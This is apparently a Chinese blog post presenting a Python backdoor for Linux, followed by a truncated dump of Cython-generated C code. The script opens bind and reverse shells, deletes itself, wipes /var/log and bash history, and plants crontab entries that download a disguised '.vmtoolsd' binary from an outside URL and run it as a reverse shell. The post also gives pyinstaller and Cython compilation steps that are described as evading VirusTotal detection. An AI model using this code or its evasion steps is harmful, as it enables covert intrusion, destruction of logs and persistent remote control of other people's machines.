零、背景


最近研究了一下之前的反弹shell的python代码块,写了一点代码尝试在LInux下绑定和反弹shell(正反向),看了一些代码,基本是两种思路。1、本地shell的输入输出通过管道与socket的输入输出进行映射。2、socket的指令在agent本地调用命令执行,结果再传回去(但是目前在测试中发现cd命令无法执行)。

一、Python源代码


比较简单,不在赘述,上源码

# -*- coding:utf-8 -*-


# 引入依赖的库、包、模块
import os
import fcntl
import socket
import subprocess
from optparse import OptionParser


# 定义shell函数
def BindConnect(addr, port):
    '''正向连接shell'''
    try:
        shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        shell.bind((addr,port))
        shell.listen(1)
    except Exception as reason:
        print ('[-] Failed to Create Socket : %s'%reason)
        exit(0)
    try:
        client,addr = shell.accept()
        #下面三行代码将socket的输入输出对应到了终端shell(terminal)的
        os.dup2(client.fileno(),0)#将clientsocket的内容对应到标准输入,也就是,socket的输入的内容到shell内容当中去
        os.dup2(client.fileno(),1)#将clientsocket的内容对应到标准输出,也就是,shell的输出的内容到socket内容当中去
        os.dup2(client.fileno(),2)#标准错误
        subprocess.call(["/bin/bash", "-i"])
    except Exception as reason:
        print ('[-] Failed to Create Shell : %s'%reason)
        exit(0)

def ReserveConnect(addr, port):
    '''反弹连接shell'''
    try:
        shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        shell.connect((addr,port))
    except Exception as reason:
        print ('[-] Failed to Create Socket : %s'%reason)
        exit(0)
    try:
        os.dup2(shell.fileno(),0)
        os.dup2(shell.fileno(),1)
        os.dup2(shell.fileno(),2)
        subprocess.call(["/bin/bash", "-i"])
    except Exception as reason:
        print ('[-] Failed to Create Shell : %s'%reason)
        exit(0)

#定义辅助功能函数
def SingletonRunning():
    '''单例模式运行'''
    pidfile = open(os.path.realpath(str(__file__).split(".py")[0]), 'r')
    try:
        fcntl.flock(pidfile, fcntl.LOCK_EX | fcntl.LOCK_NB)
    except Exception as reason:
        print ("[-] There is another shell is running")
        exit(0)

def deleteSelf():
    '''自删除文件'''
    filename = os.getcwd()+"/%s"%(str(__file__).split(".py")[0])
    os.remove(filename)

def unsetLog():
    '''停止口令记录'''
    os.popen("unset history")

def clearLog():
    '''清除日志'''
    os.popen("rm -f /var/log/*")
    os.popen("echo '' > ~/.bash_history")

def appendCrontab():
    '''增加计划任务'''
    os.popen("echo  '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab")
    os.popen("echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab")
    os.popen("echo  '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab")
    os.popen("echo '30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /etc/crontab")

# 主函数运行
if __name__ == "__main__":
    SingletonRunning()
    optParser = OptionParser()
    optParser.add_option('-r','--reverse', action='store_true', dest='reverse')
    optParser.add_option('-b','--bind', action='store_true', dest='bind')
    optParser.add_option("-a","--addr", dest="addr")
    optParser.add_option("-p","--port", dest="port")
    options , args = optParser.parse_args()
    deleteSelf()
    unsetLog()
    if options.reverse:
        ReserveConnect(options.addr, int(options.port))
    elif options.bind:
        BindConnect(options.addr, int(options.port))
    clearLog()
    appendCrontab()

二、使用pyinstaller编译


可以打包发布,这样对环境的依赖问题解决

pyinstaller -F backdoor.py

使用VT检查结果
linux的shell后门尝试以及python快速转C-LMLPHP

三、使用Cython转换成C代码加速,且可以过VT

cython backdoor.py --embed
gcc `python-config --cflags` -o warcraft3 backdoor.c  `python-config --ldflags`

转成代码如下:
编译后,转成新的,VT测试
linux的shell后门尝试以及python快速转C-LMLPHP

/* Generated by Cython 0.26.1 */#define PY_SSIZE_T_CLEAN#include "Python.h"#ifndef Py_PYTHON_H    #error Python headers needed to compile C extensions, please install development version of Python.#elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03020000)    #error Cython requires Python 2.6+ or Python 3.2+.#else#define CYTHON_ABI "0_26_1"#include <stddef.h>#ifndef offsetof  #define offsetof(type, member) ( (size_t) & ((type*)0) -> member )#endif#if !defined(WIN32) && !defined(MS_WINDOWS)  #ifndef __stdcall    #define __stdcall  #endif  #ifndef __cdecl    #define __cdecl  #endif  #ifndef __fastcall    #define __fastcall  #endif#endif#ifndef DL_IMPORT  #define DL_IMPORT(t) t#endif#ifndef DL_EXPORT  #define DL_EXPORT(t) t#endif#define __PYX_COMMA ,#ifndef HAVE_LONG_LONG  #if PY_VERSION_HEX >= 0x03030000 || (PY_MAJOR_VERSION == 2 && PY_VERSION_HEX >= 0x02070000)    #define HAVE_LONG_LONG  #endif#endif#ifndef PY_LONG_LONG  #define PY_LONG_LONG LONG_LONG#endif#ifndef Py_HUGE_VAL  #define Py_HUGE_VAL HUGE_VAL#endif#ifdef PYPY_VERSION  #define CYTHON_COMPILING_IN_PYPY 1  #define CYTHON_COMPILING_IN_PYSTON 0  #define CYTHON_COMPILING_IN_CPYTHON 0  #undef CYTHON_USE_TYPE_SLOTS  #define CYTHON_USE_TYPE_SLOTS 0  #undef CYTHON_USE_PYTYPE_LOOKUP  #define CYTHON_USE_PYTYPE_LOOKUP 0  #undef CYTHON_USE_ASYNC_SLOTS  #define CYTHON_USE_ASYNC_SLOTS 0  #undef CYTHON_USE_PYLIST_INTERNALS  #define CYTHON_USE_PYLIST_INTERNALS 0  #undef CYTHON_USE_UNICODE_INTERNALS  #define CYTHON_USE_UNICODE_INTERNALS 0  #undef CYTHON_USE_UNICODE_WRITER  #define CYTHON_USE_UNICODE_WRITER 0  #undef CYTHON_USE_PYLONG_INTERNALS  #define CYTHON_USE_PYLONG_INTERNALS 0  #undef CYTHON_AVOID_BORROWED_REFS  #define CYTHON_AVOID_BORROWED_REFS 1  #undef CYTHON_ASSUME_SAFE_MACROS  #define CYTHON_ASSUME_SAFE_MACROS 0  #undef CYTHON_UNPACK_METHODS  #define CYTHON_UNPACK_METHODS 0  #undef CYTHON_FAST_THREAD_STATE  #define CYTHON_FAST_THREAD_STATE 0  #undef CYTHON_FAST_PYCALL  #define CYTHON_FAST_PYCALL 0#elif defined(PYSTON_VERSION)  #define CYTHON_COMPILING_IN_PYPY 0  #define CYTHON_COMPILING_IN_PYSTON 1  #define CYTHON_COMPILING_IN_CPYTHON 0  #ifndef CYTHON_USE_TYPE_SLOTS    #define CYTHON_USE_TYPE_SLOTS 1  #endif  #undef CYTHON_USE_PYTYPE_LOOKUP  #define CYTHON_USE_PYTYPE_LOOKUP 0  #undef CYTHON_USE_ASYNC_SLOTS  #define CYTHON_USE_ASYNC_SLOTS 0  #undef CYTHON_USE_PYLIST_INTERNALS  #define CYTHON_USE_PYLIST_INTERNALS 0  #ifndef CYTHON_USE_UNICODE_INTERNALS    #define CYTHON_USE_UNICODE_INTERNALS 1  #endif  #undef CYTHON_USE_UNICODE_WRITER  #define CYTHON_USE_UNICODE_WRITER 0  #undef CYTHON_USE_PYLONG_INTERNALS  #define CYTHON_USE_PYLONG_INTERNALS 0  #ifndef CYTHON_AVOID_BORROWED_REFS    #define CYTHON_AVOID_BORROWED_REFS 0  #endif  #ifndef CYTHON_ASSUME_SAFE_MACROS    #define CYTHON_ASSUME_SAFE_MACROS 1  #endif  #ifndef CYTHON_UNPACK_METHODS    #define CYTHON_UNPACK_METHODS 1  #endif  #undef CYTHON_FAST_THREAD_STATE  #define CYTHON_FAST_THREAD_STATE 0  #undef CYTHON_FAST_PYCALL  #define CYTHON_FAST_PYCALL 0#else  #define CYTHON_COMPILING_IN_PYPY 0  #define CYTHON_COMPILING_IN_PYSTON 0  #define CYTHON_COMPILING_IN_CPYTHON 1  #ifndef CYTHON_USE_TYPE_SLOTS    #define CYTHON_USE_TYPE_SLOTS 1  #endif  #if PY_VERSION_HEX < 0x02070000    #undef CYTHON_USE_PYTYPE_LOOKUP    #define CYTHON_USE_PYTYPE_LOOKUP 0  #elif !defined(CYTHON_USE_PYTYPE_LOOKUP)    #define CYTHON_USE_PYTYPE_LOOKUP 1  #endif  #if PY_MAJOR_VERSION < 3    #undef CYTHON_USE_ASYNC_SLOTS    #define CYTHON_USE_ASYNC_SLOTS 0  #elif !defined(CYTHON_USE_ASYNC_SLOTS)    #define CYTHON_USE_ASYNC_SLOTS 1  #endif  #if PY_VERSION_HEX < 0x02070000    #undef CYTHON_USE_PYLONG_INTERNALS    #define CYTHON_USE_PYLONG_INTERNALS 0  #elif !defined(CYTHON_USE_PYLONG_INTERNALS)    #define CYTHON_USE_PYLONG_INTERNALS 1  #endif  #ifndef CYTHON_USE_PYLIST_INTERNALS    #define CYTHON_USE_PYLIST_INTERNALS 1  #endif  #ifndef CYTHON_USE_UNICODE_INTERNALS    #define CYTHON_USE_UNICODE_INTERNALS 1  #endif  #if PY_VERSION_HEX < 0x030300F0    #undef CYTHON_USE_UNICODE_WRITER    #define CYTHON_USE_UNICODE_WRITER 0  #elif !defined(CYTHON_USE_UNICODE_WRITER)    #define CYTHON_USE_UNICODE_WRITER 1  #endif  #ifndef CYTHON_AVOID_BORROWED_REFS    #define CYTHON_AVOID_BORROWED_REFS 0  #endif  #ifndef CYTHON_ASSUME_SAFE_MACROS    #define CYTHON_ASSUME_SAFE_MACROS 1  #endif  #ifndef CYTHON_UNPACK_METHODS    #define CYTHON_UNPACK_METHODS 1  #endif  #ifndef CYTHON_FAST_THREAD_STATE    #define CYTHON_FAST_THREAD_STATE 1  #endif  #ifndef CYTHON_FAST_PYCALL    #define CYTHON_FAST_PYCALL 1  #endif#endif#if !defined(CYTHON_FAST_PYCCALL)#define CYTHON_FAST_PYCCALL  (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1)#endif#if CYTHON_USE_PYLONG_INTERNALS  #include "longintrepr.h"  #undef SHIFT  #undef BASE  #undef MASK#endif#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag)  #define Py_OptimizeFlag 0#endif#define __PYX_BUILD_PY_SSIZE_T "n"#define CYTHON_FORMAT_SSIZE_T "z"#if PY_MAJOR_VERSION < 3  #define __Pyx_BUILTIN_MODULE_NAME "__builtin__"  #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\          PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)  #define __Pyx_DefaultClassType PyClass_Type#else  #define __Pyx_BUILTIN_MODULE_NAME "builtins"  #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\          PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)  #define __Pyx_DefaultClassType PyType_Type#endif#ifndef Py_TPFLAGS_CHECKTYPES  #define Py_TPFLAGS_CHECKTYPES 0#endif#ifndef Py_TPFLAGS_HAVE_INDEX  #define Py_TPFLAGS_HAVE_INDEX 0#endif#ifndef Py_TPFLAGS_HAVE_NEWBUFFER  #define Py_TPFLAGS_HAVE_NEWBUFFER 0#endif#ifndef Py_TPFLAGS_HAVE_FINALIZE  #define Py_TPFLAGS_HAVE_FINALIZE 0#endif#if PY_VERSION_HEX < 0x030700A0 || !defined(METH_FASTCALL)  #ifndef METH_FASTCALL     #define METH_FASTCALL 0x80  #endif  typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject **args, Py_ssize_t nargs);  typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject **args,                                                          Py_ssize_t nargs, PyObject *kwnames);#else  #define __Pyx_PyCFunctionFast _PyCFunctionFast  #define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords#endif#if CYTHON_FAST_PYCCALL#define __Pyx_PyFastCFunction_Check(func)\    ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST | METH_KEYWORDS)))))#else#define __Pyx_PyFastCFunction_Check(func) 0#endif#if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND)  #define CYTHON_PEP393_ENABLED 1  #define __Pyx_PyUnicode_READY(op)       (likely(PyUnicode_IS_READY(op)) ?\                                              0 : _PyUnicode_Ready((PyObject *)(op)))  #define __Pyx_PyUnicode_GET_LENGTH(u)   PyUnicode_GET_LENGTH(u)  #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i)  #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u)   PyUnicode_MAX_CHAR_VALUE(u)  #define __Pyx_PyUnicode_KIND(u)         PyUnicode_KIND(u)  #define __Pyx_PyUnicode_DATA(u)         PyUnicode_DATA(u)  #define __Pyx_PyUnicode_READ(k, d, i)   PyUnicode_READ(k, d, i)  #define __Pyx_PyUnicode_WRITE(k, d, i, ch)  PyUnicode_WRITE(k, d, i, ch)  #define __Pyx_PyUnicode_IS_TRUE(u)      (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u)))#else  #define CYTHON_PEP393_ENABLED 0  #define PyUnicode_1BYTE_KIND  1  #define PyUnicode_2BYTE_KIND  2  #define PyUnicode_4BYTE_KIND  4  #define __Pyx_PyUnicode_READY(op)       (0)  #define __Pyx_PyUnicode_GET_LENGTH(u)   PyUnicode_GET_SIZE(u)  #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i]))  #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u)   ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111)  #define __Pyx_PyUnicode_KIND(u)         (sizeof(Py_UNICODE))  #define __Pyx_PyUnicode_DATA(u)         ((void*)PyUnicode_AS_UNICODE(u))  #define __Pyx_PyUnicode_READ(k, d, i)   ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i]))  #define __Pyx_PyUnicode_WRITE(k, d, i, ch)  (((void)(k)), ((Py_UNICODE*)d)[i] = ch)  #define __Pyx_PyUnicode_IS_TRUE(u)      (0 != PyUnicode_GET_SIZE(u))#endif#if CYTHON_COMPILING_IN_PYPY  #define __Pyx_PyUnicode_Concat(a, b)      PyNumber_Add(a, b)  #define __Pyx_PyUnicode_ConcatSafe(a, b)  PyNumber_Add(a, b)#else  #define __Pyx_PyUnicode_Concat(a, b)      PyUnicode_Concat(a, b)  #define __Pyx_PyUnicode_ConcatSafe(a, b)  ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\      PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b))#endif#if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains)  #define PyUnicode_Contains(u, s)  PySequence_Contains(u, s)#endif#if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check)  #define PyByteArray_Check(obj)  PyObject_TypeCheck(obj, &PyByteArray_Type)#endif#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format)  #define PyObject_Format(obj, fmt)  PyObject_CallMethod(obj, "__format__", "O", fmt)#endif#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc)  #define PyObject_Malloc(s)   PyMem_Malloc(s)  #define PyObject_Free(p)     PyMem_Free(p)  #define PyObject_Realloc(p)  PyMem_Realloc(p)#endif#if CYTHON_COMPILING_IN_PYSTON  #define __Pyx_PyCode_HasFreeVars(co)  PyCode_HasFreeVars(co)  #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno)#else  #define __Pyx_PyCode_HasFreeVars(co)  (PyCode_GetNumFree(co) > 0)  #define __Pyx_PyFrame_SetLineNumber(frame, lineno)  (frame)->f_lineno = (lineno)#endif#define __Pyx_PyString_FormatSafe(a, b)   ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b))#define __Pyx_PyUnicode_FormatSafe(a, b)  ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b))#if PY_MAJOR_VERSION >= 3  #define __Pyx_PyString_Format(a, b)  PyUnicode_Format(a, b)#else  #define __Pyx_PyString_Format(a, b)  PyString_Format(a, b)#endif#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII)  #define PyObject_ASCII(o)            PyObject_Repr(o)#endif#if PY_MAJOR_VERSION >= 3  #define PyBaseString_Type            PyUnicode_Type  #define PyStringObject               PyUnicodeObject  #define PyString_Type                PyUnicode_Type  #define PyString_Check               PyUnicode_Check  #define PyString_CheckExact          PyUnicode_CheckExact#endif#if PY_MAJOR_VERSION >= 3  #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj)  #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj)#else  #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj))  #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj))#endif#ifndef PySet_CheckExact  #define PySet_CheckExact(obj)        (Py_TYPE(obj) == &PySet_Type)#endif#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type)#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception)#if PY_MAJOR_VERSION >= 3  #define PyIntObject                  PyLongObject  #define PyInt_Type                   PyLong_Type  #define PyInt_Check(op)              PyLong_Check(op)  #define PyInt_CheckExact(op)         PyLong_CheckExact(op)  #define PyInt_FromString             PyLong_FromString  #define PyInt_FromUnicode            PyLong_FromUnicode  #define PyInt_FromLong               PyLong_FromLong  #define PyInt_FromSize_t             PyLong_FromSize_t  #define PyInt_FromSsize_t            PyLong_FromSsize_t  #define PyInt_AsLong                 PyLong_AsLong  #define PyInt_AS_LONG                PyLong_AS_LONG  #define PyInt_AsSsize_t              PyLong_AsSsize_t  #define PyInt_AsUnsignedLongMask     PyLong_AsUnsignedLongMask  #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask  #define PyNumber_Int                 PyNumber_Long#endif#if PY_MAJOR_VERSION >= 3  #define PyBoolObject                 PyLongObject#endif#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY  #ifndef PyUnicode_InternFromString    #define PyUnicode_InternFromString(s) PyUnicode_FromString(s)  #endif#endif#if PY_VERSION_HEX < 0x030200A4  typedef long Py_hash_t;  #define __Pyx_PyInt_FromHash_t PyInt_FromLong  #define __Pyx_PyInt_AsHash_t   PyInt_AsLong#else  #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t  #define __Pyx_PyInt_AsHash_t   PyInt_AsSsize_t#endif#if PY_MAJOR_VERSION >= 3  #define __Pyx_PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func))#else  #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass)#endif#ifndef __has_attribute  #define __has_attribute(x) 0#endif#ifndef __has_cpp_attribute  #define __has_cpp_attribute(x) 0#endif#if CYTHON_USE_ASYNC_SLOTS  #if PY_VERSION_HEX >= 0x030500B1    #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods    #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async)  #else    typedef struct {        unaryfunc am_await;        unaryfunc am_aiter;        unaryfunc am_anext;    } __Pyx_PyAsyncMethodsStruct;    #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved))  #endif#else  #define __Pyx_PyType_AsAsync(obj) NULL#endif#ifndef CYTHON_RESTRICT  #if defined(__GNUC__)    #define CYTHON_RESTRICT __restrict__  #elif defined(_MSC_VER) && _MSC_VER >= 1400    #define CYTHON_RESTRICT __restrict  #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L    #define CYTHON_RESTRICT restrict  #else    #define CYTHON_RESTRICT  #endif#endif#ifndef CYTHON_UNUSED# if defined(__GNUC__)#   if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))#     define CYTHON_UNUSED __attribute__ ((__unused__))#   else#     define CYTHON_UNUSED#   endif# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER))#   define CYTHON_UNUSED __attribute__ ((__unused__))# else#   define CYTHON_UNUSED# endif#endif#ifndef CYTHON_MAYBE_UNUSED_VAR#  if defined(__cplusplus)     template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { }#  else#    define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x)#  endif#endif#ifndef CYTHON_NCP_UNUSED# if CYTHON_COMPILING_IN_CPYTHON#  define CYTHON_NCP_UNUSED# else#  define CYTHON_NCP_UNUSED CYTHON_UNUSED# endif#endif#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None)#ifdef _MSC_VER    #ifndef _MSC_STDINT_H_        #if _MSC_VER < 1300           typedef unsigned char     uint8_t;           typedef unsigned int      uint32_t;        #else           typedef unsigned __int8   uint8_t;           typedef unsigned __int32  uint32_t;        #endif    #endif#else   #include <stdint.h>#endif#ifndef CYTHON_FALLTHROUGH  #ifdef __cplusplus    #if __has_cpp_attribute(fallthrough)      #define CYTHON_FALLTHROUGH [[fallthrough]]    #elif __has_cpp_attribute(clang::fallthrough)      #define CYTHON_FALLTHROUGH [[clang::fallthrough]]    #endif  #endif  #ifndef CYTHON_FALLTHROUGH    #if __has_attribute(fallthrough) || (defined(__GNUC__) && defined(__attribute__))      #define CYTHON_FALLTHROUGH __attribute__((fallthrough))    #else      #define CYTHON_FALLTHROUGH    #endif  #endif#endif#ifndef CYTHON_INLINE  #if defined(__clang__)    #define CYTHON_INLINE __inline__ __attribute__ ((__unused__))  #elif defined(__GNUC__)    #define CYTHON_INLINE __inline__  #elif defined(_MSC_VER)    #define CYTHON_INLINE __inline  #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L    #define CYTHON_INLINE inline  #else    #define CYTHON_INLINE  #endif#endif#if defined(WIN32) || defined(MS_WINDOWS)  #define _USE_MATH_DEFINES#endif#include <math.h>#ifdef NAN#define __PYX_NAN() ((float) NAN)#elsestatic CYTHON_INLINE float __PYX_NAN() {  float value;  memset(&value, 0xFF, sizeof(value));  return value;}#endif#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL)#define __Pyx_truncl trunc#else#define __Pyx_truncl truncl#endif#define __PYX_ERR(f_index, lineno, Ln_error) \{ \  __pyx_filename = __pyx_f[f_index]; __pyx_lineno = lineno; __pyx_clineno = __LINE__; goto Ln_error; \}#if PY_MAJOR_VERSION >= 3  #define __Pyx_PyNumber_Divide(x,y)         PyNumber_TrueDivide(x,y)  #define __Pyx_PyNumber_InPlaceDivide(x,y)  PyNumber_InPlaceTrueDivide(x,y)#else  #define __Pyx_PyNumber_Divide(x,y)         PyNumber_Divide(x,y)  #define __Pyx_PyNumber_InPlaceDivide(x,y)  PyNumber_InPlaceDivide(x,y)#endif#ifndef __PYX_EXTERN_C  #ifdef __cplusplus    #define __PYX_EXTERN_C extern "C"  #else    #define __PYX_EXTERN_C extern  #endif#endif#define __PYX_HAVE__warcraft3#define __PYX_HAVE_API__warcraft3#ifdef _OPENMP#include <omp.h>#endif /* _OPENMP */#ifdef PYREX_WITHOUT_ASSERTIONS#define CYTHON_WITHOUT_ASSERTIONS#endiftypedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding;                const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry;#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT 0#define __PYX_DEFAULT_STRING_ENCODING ""#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize#define __Pyx_uchar_cast(c) ((unsigned char)c)#define __Pyx_long_cast(x) ((long)x)#define __Pyx_fits_Py_ssize_t(v, type, is_signed)  (\    (sizeof(type) < sizeof(Py_ssize_t))  ||\    (sizeof(type) > sizeof(Py_ssize_t) &&\          likely(v < (type)PY_SSIZE_T_MAX ||\                 v == (type)PY_SSIZE_T_MAX)  &&\          (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\                                v == (type)PY_SSIZE_T_MIN)))  ||\    (sizeof(type) == sizeof(Py_ssize_t) &&\          (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\                               v == (type)PY_SSIZE_T_MAX)))  )#if defined (__cplusplus) && __cplusplus >= 201103L    #include <cstdlib>    #define __Pyx_sst_abs(value) std::abs(value)#elif SIZEOF_INT >= SIZEOF_SIZE_T    #define __Pyx_sst_abs(value) abs(value)#elif SIZEOF_LONG >= SIZEOF_SIZE_T    #define __Pyx_sst_abs(value) labs(value)#elif defined (_MSC_VER) && defined (_M_X64)    #define __Pyx_sst_abs(value) _abs64(value)#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L    #define __Pyx_sst_abs(value) llabs(value)#elif defined (__GNUC__)    #define __Pyx_sst_abs(value) __builtin_llabs(value)#else    #define __Pyx_sst_abs(value) ((value<0) ? -value : value)#endifstatic CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*);static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length);#define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s))#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l)#define __Pyx_PyBytes_FromString        PyBytes_FromString#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSizestatic CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*);#if PY_MAJOR_VERSION < 3    #define __Pyx_PyStr_FromString        __Pyx_PyBytes_FromString    #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize#else    #define __Pyx_PyStr_FromString        __Pyx_PyUnicode_FromString    #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize#endif#define __Pyx_PyObject_AsWritableString(s)    ((char*) __Pyx_PyObject_AsString(s))#define __Pyx_PyObject_AsWritableSString(s)    ((signed char*) __Pyx_PyObject_AsString(s))#define __Pyx_PyObject_AsWritableUString(s)    ((unsigned char*) __Pyx_PyObject_AsString(s))#define __Pyx_PyObject_AsSString(s)    ((const signed char*) __Pyx_PyObject_AsString(s))#define __Pyx_PyObject_AsUString(s)    ((const unsigned char*) __Pyx_PyObject_AsString(s))#define __Pyx_PyObject_FromCString(s)  __Pyx_PyObject_FromString((const char*)s)#define __Pyx_PyBytes_FromCString(s)   __Pyx_PyBytes_FromString((const char*)s)#define __Pyx_PyByteArray_FromCString(s)   __Pyx_PyByteArray_FromString((const char*)s)#define __Pyx_PyStr_FromCString(s)     __Pyx_PyStr_FromString((const char*)s)#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s)#if PY_MAJOR_VERSION < 3static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u){    const Py_UNICODE *u_end = u;    while (*u_end++) ;    return (size_t)(u_end - u - 1);}#else#define __Pyx_Py_UNICODE_strlen Py_UNICODE_strlen#endif#define __Pyx_PyUnicode_FromUnicode(u)       PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u))#define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode#define __Pyx_PyUnicode_AsUnicode            PyUnicode_AsUnicode#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj)#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None)#define __Pyx_PyBool_FromLong(b) ((b) ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False))static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*);static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x);static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*);static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t);#if CYTHON_ASSUME_SAFE_MACROS#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x))#else#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x)#endif#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x))#if PY_MAJOR_VERSION >= 3#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x))#else#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x))#endif#define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x))#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCIIstatic int __Pyx_sys_getdefaultencoding_not_ascii;static int __Pyx_init_sys_getdefaultencoding_params(void) {    PyObject* sys;    PyObject* default_encoding = NULL;    PyObject* ascii_chars_u = NULL;    PyObject* ascii_chars_b = NULL;    const char* default_encoding_c;    sys = PyImport_ImportModule("sys");    if (!sys) goto bad;    default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL);    Py_DECREF(sys);    if (!default_encoding) goto bad;    default_encoding_c = PyBytes_AsString(default_encoding);    if (!default_encoding_c) goto bad;    if (strcmp(default_encoding_c, "ascii") == 0) {        __Pyx_sys_getdefaultencoding_not_ascii 